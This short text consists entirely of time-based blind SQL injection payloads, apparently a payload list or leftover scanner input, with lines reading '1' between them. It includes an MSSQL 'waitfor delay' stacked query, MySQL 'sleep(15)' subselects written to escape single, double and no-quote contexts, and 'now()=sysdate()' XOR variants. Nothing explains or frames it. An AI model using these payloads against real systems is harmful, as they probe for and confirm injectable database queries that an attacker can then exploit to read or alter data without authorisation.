1

-1; waitfor delay ‘0:0:15’ —

1

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+’”+(select(0)from(select(sleep(15)))v)+”*/

1

0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z

1

0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z

1

if(now()=sysdate(),sleep(15),0)